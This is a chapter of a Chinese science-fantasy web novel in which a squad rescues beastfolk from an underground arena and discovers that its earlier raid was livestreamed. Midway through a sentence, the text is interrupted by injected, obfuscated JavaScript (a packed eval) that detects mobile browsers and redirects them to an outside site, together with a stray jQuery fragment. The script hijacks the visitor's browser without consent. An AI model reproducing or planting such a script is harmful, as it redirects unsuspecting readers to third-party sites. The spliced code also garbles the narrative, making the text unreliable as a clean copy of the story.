如深夜海水般的墨蓝,看似平静,实则暗潮汹涌。冰面之下混杂着茫然与怔忪,在两人对上视线的那一刻,眸底有痴迷与渴求一闪而过。
薄槐与他离得极近,将那些戎逢笙想藏没藏住的东西看得清清楚楚。
右手紧了一瞬,戎逢笙发丝轻晃,下意识向前,又及时顿住,有些恍惚的眼神清明片刻,慌张撇开脸,手却依旧紧紧握着没有松。
温度再次攀升,呼吸逐渐粗重,却不只是来源于身侧。
薄槐眼神暗下去,扭头,冷眼看向远处的兽人们。
躺在地上的女孩已经治好了伤,手还被束缚着,青桑别将她扶起来,女孩刚坐直就挣脱他的手,自顾自蜷缩在角落里,低着头一言不发。
易颛乾发挥他的长项,尽力安抚受到惊吓的兽人们,看那些人的表情应该已经取得一定成果了。
森凃社恐,自己在附近转悠,收集数据做好技术员的本职工作。
薄槐收到青桑别的眼色,给女孩松了绑。刚解开,她就猛地窜起身,灵活避开障碍,钻进后方的孩子堆里。
戎逢笙的体温还在持续升高,薄槐有些没耐心了。
易颛乾走过来:“这里都是被抓来做实验的兽人,前几天实验人员突然大批撤离,只留下几个看守的,今天不知道为什么看守内部起了冲突,他们就趁机把人解决想逃跑,没想到刚得手我们就进来了。”
易颛乾压低嗓音:“估计是因为我们把老巢端了。”
薄槐点点头,感受着戎逢笙的体温眉头微蹙:“说点有用的。”
“他们现在情况太差,不方便问太多,容易受到刺激。”易颛乾想了想,“先救出去吧,剩下的交给老宋。”
薄槐急着走,没多说直接同意:“行。”
奶妈还在任劳任怨治疗,易颛乾过去给他帮忙,薄槐扭头找森凃:“数据资料都收集好了吗?”
“好了。”森凃没抬头,招手,“你先带队长过来看看这个。”
薄槐走过去,看着屏幕上一串串数据和标志,不解道:“这什么?”
“联邦内部保密资料,和某技术部门的标识。”戎逢笙声音嘶哑,闭了闭眼,看上去暂时还算清醒。
森凃眨眨眼。
队长果然知道!
薄槐转头,眼神冷冽地对上一双浅绿色眸子。
只有一只兽耳的女孩定定看了她几秒,垂头,躲到朋友身后。
“回去再说。”薄槐按下森凃还要操作的手,“人多眼杂。”
“你们好了吗?我们得快点了。”易颛乾走过来,有点为难,“情况不太妙。”
随着他的靠近,戎逢笙突然往前走了一步,几乎整个人贴到薄槐背上,呼吸也显得有些压抑。
森凃咳了声,易颛乾收到暗示,想起什么,立马停步往后撤,眼中划过懊恼:“对不起,我忘了。”
薄槐狐疑看着他们两个,歪头示意,问:“你们知道他这是怎么回事?”
这话一出,易颛乾和森凃反而愣住,两人对视一眼,看着薄槐欲言又止:“你……不知道?”
薄槐:“我……应该知道?”
青桑别也走过来,目光在她和队长身上转了一圈:“看情况,我们以为你应该知道。”
身后传来压抑的痛呼,易颛乾扭头看了眼,着急道:“之后再解释吧,再不走恐怕更麻烦了。”
薄槐看向一个个面色潮红的兽人,似乎同时在经历什么难以忍受的事。
侧头,垂首靠在她背上的戎逢笙情况好像也差不多,只不过脸被面具挡上了,表情看不到。
所以他的不对劲是来自于兽人那方面吗?
耳尖微动,薄槐抬眼朝门外望去:“噤声,有人来了。”
话音落下,瞬间所有声响全部消失,连呼吸都被压到最低。薄槐略有些诧异地看了兽人那边一眼。
她倒真没想过这帮人能听话忍住。
易颛乾蹲在她身边,用气声问:“怎么办?再不走就来不及了!”
“怕什么。”薄槐用牙咬住左手手套,往上扯了扯,勾唇,“闭眼,捂耳朵。”
三位队友当即了然,想都没想抬手照做,瞪大眼异口同声道:“不是吧,又来?!”
薄槐翻手亮出一沓黄符,指尖轻搓捻成扇形,得瑟地扇了扇,挑眉:“看到没,底气!”
甩腕掷出,薄槐回身将戎逢笙的脑袋按进自己颈窝,右手被他握着,左手捂住他露在外面的耳朵。
黄符破空而去,直奔被砸开的大门。
“什么声——”门外传来闯入者的低语。
“破。”
轰!!!
地面在震颤,爆炸的余波激起厚重尘烟,视线被尽数遮挡,只勉强能看到些模糊的影子。
对面被打个措手不及,炸飞出去的人砸在地上不住哀嚎。不需多言,青桑别猛地窜起身朝外冲,跑在前方开道,扬手大喊:“跑!”
易颛乾招呼着兽人们,还不忘抱走一个行动不便的小孩,边跑边叫:“说好不搞大动静的,回去又得挨骂了!”
森凃在犹豫要不要掏机甲,拿不定主意便转头找薄槐。后者摇了摇头,于是他果断收手,捂住脑袋,拉起踉踉跄跄差点摔倒的兽人就往外冲。
兽人不多,也就十几个,虽然瘦弱但大多数勉强撑得住,加上求生和逃脱的希望,一个个肾上腺素飙升,咬牙跑起来甚至能和易颛乾持平。
作为队里身体素质最差的那个,易颛乾本来就有点难过,现在一看这架势,更是边跑边崩溃:“我真服了!下次让我垫底的活能不能罢工啊!”
薄槐悠哉悠哉拉着戎逢笙断后,闻言毫不收敛地嘲笑他:“没办法,谁让你虚呢,加练吧弟弟~”
“绝不可能!!!”
……
一路跑一路轰,薄槐愣是靠简单粗暴的雷霆手段强行断绝身后的追兵,带领大部队突出重围,七拐八拐抄小路回到到处都是暴力斗殴的大厅里。
他们动静闹得非常之大,这一点不用旁人说,薄槐自己都清楚。
但几人也没多担心,毕竟只要跑得够快,就一定能甩干净锅。
易颛乾理理衣领,咳了声:“都自然一点走出去,没人会注意我们的。”
青桑别刚治好划伤的兽人,从他身边路过,闻言哼了声:“就你最装。”
森凃推推脸上的面具。他不擅长撒谎之类的事,有点紧张。
靠着薄槐肩膀借力的戎逢笙晃了下,像是脱力般有些站不稳,薄槐不着痕迹将他扶住,皱眉催促:“别废话了,快走。”
兽人们的状态也不好,互相搀扶着跟在开路的青桑别身后。
爆炸的骚动引起了很多人注意,原本就可以称得上热闹的地下黑场大厅此时更是挤满了人。也不互殴了,看客和对手都难得和谐地凑在一起探头探脑。
众人低下头,尽力降低存在感,贴着边缘迅速朝外溜。
青桑别第一个挤出人群,离大门只差两米。
胜利就在眼前,他不由得微微抬头,眼神发亮。
一步,两步,三步——
“诶!是你!”
一道惊讶的声音突然响起。
“还有你!你们竟然都在!”发现惊喜的男人大叫出声,极为兴奋地抬手喊道,“快来看!干翻王宫救出女王的人在这!”
差一点就能逃出去的青桑别被迫停下,骤然围拢上来的人群将他逼得不得不向后退,手摸上后腰武器,警惕护住身后众人。
“是他们没错,这个面具我记得!”
“一,二……五个人都在,这是来黑场团建吗?还是有其他行动?”
“啧,这不废话吗?没看见那几个兽人啊?肯
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16157133|171867||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
定又是来救人的呗!”
“诶,那个以一敌百还能起死回生的是哪个来着?红眼面具吗?”
“对,就最后面那个红眼女生。她之前一个人干翻上百魔法师加数千异变种,甚至还能全身而退,真是帅爆了!”
“最后一刀劈碎禁忌魔法才是最牛逼的好吧!”
薄槐听着周围此起彼伏的交谈,眼神冷冽:“谁传出去的消息。”
易颛乾已经听傻了,呆愣在原地完全反应不过来:“不知道啊!”
这时旁边某个人投影出一段视频:“来来来我录像了!当着真人的面再看一遍!”
森凃捕捉到关键词,最先低头点开光脑开始查,片刻后本来发白的脸变得有些黑:“不是传出去的,而是从一开始就没有瞒住。”
他指着星网主页上最热门的一条,咬牙道:“从进入王宫开始,我们所有的行动,都在直播!”
“本来应该只是面向Z5079星民众的直播,可能是入侵者为了震慑百姓,结果没想到翻车了。我们把组织一锅端之后没人管这件事,处理不及时,现在已经传到星网上热门了,别说联邦,现在可以说是全星际都能看到。”
薄槐眼神冷沉,扬手,黑雾弥漫,众人趁机跑出地下黑场,一直跑到安全的地方。
易颛乾脑子宕机,靠墙滑坐在地两腿打颤,恍惚看到自己死在宋芜手里的悲惨下场:“完蛋了……”
薄槐挠挠头,还有心情笑:“这算什么?一战成名?”
“你竟然还笑得出来?!”易颛乾捂脸,“就属你麻烦最大!修——”
顿了下,想起还有无关人员在,他紧急收声:“那种事暴露出来,谁能认不出你啊!”
森凃满脸担忧:“是啊,之后怎么办?”
青桑别简单干脆的两个字:“跑吧。”
薄槐被逗得笑出声:“我都暴露了,还能跑哪去?”
看着三人焦躁担心的眼神,薄槐半是无奈半是愉悦地摇摇头,安慰道:“行了别担心,我是谁,还会怕这些?”
“我敢公开就不怕被盯上,而且这不也是早晚的事,本来就瞒不了多久。”薄槐耸耸肩,姿态随意又嚣张,“再说了,被盯上又怎样,谁有那本事能打过我?”
“真想动我就试试看,来一个杀一个,来两个杀一双。”薄槐勾唇,笑意张扬又残忍,“多死几个,打服了,自然就安生。”
易颛乾三人被她这样轻飘飘却骇人的话惊住,愣了半晌,点头:“有道理。”
这下换成薄槐愣住:“我还以为你们会害怕,或者谴责我暴戾冷血。”
森凃摇头:“你不是滥杀的人,保护自己并没有错。”
易颛乾也说:“活着本就不容易,善良心软未必是好事。”
青桑别坦坦荡荡地看着她:“我相信你。”
戎逢笙没有说话,只是牵住她的右手握紧,靠着她肩膀的头轻轻动了下。
薄槐沉默片刻,猝然笑开:“哇你们真是……”
“也对,能跟我玩到一起的,能有多正常。”
易颛乾一听这话不乐意了,指着她就开始叫唤:“嘿你这人!哥几个跟你掏心窝子,你怎么还反过来骂咱!”
薄槐:“这哪是骂,这分明是发自内心的夸赞好吗!”
原本有些感动的气氛瞬间破裂,两人又开始拌嘴。青桑别揉揉太阳穴,扭头眼不见心不烦。森凃闭上眼,捂住耳朵权当没听见。
戎逢笙拉着薄槐的手,将人往后扯,不想让她把注意力过多的放到别人身上。
薄槐和好友插科打诨几句心情更好,清了清嗓子暂时停战。她翘着脚,笑得有点幸灾乐祸:“要我说,现在更头疼的估计另有其人吧?”
话音刚落,光脑忽地嗡嗡震动,消息提示音和视讯通话同时弹出。
五个人都是,一个没落。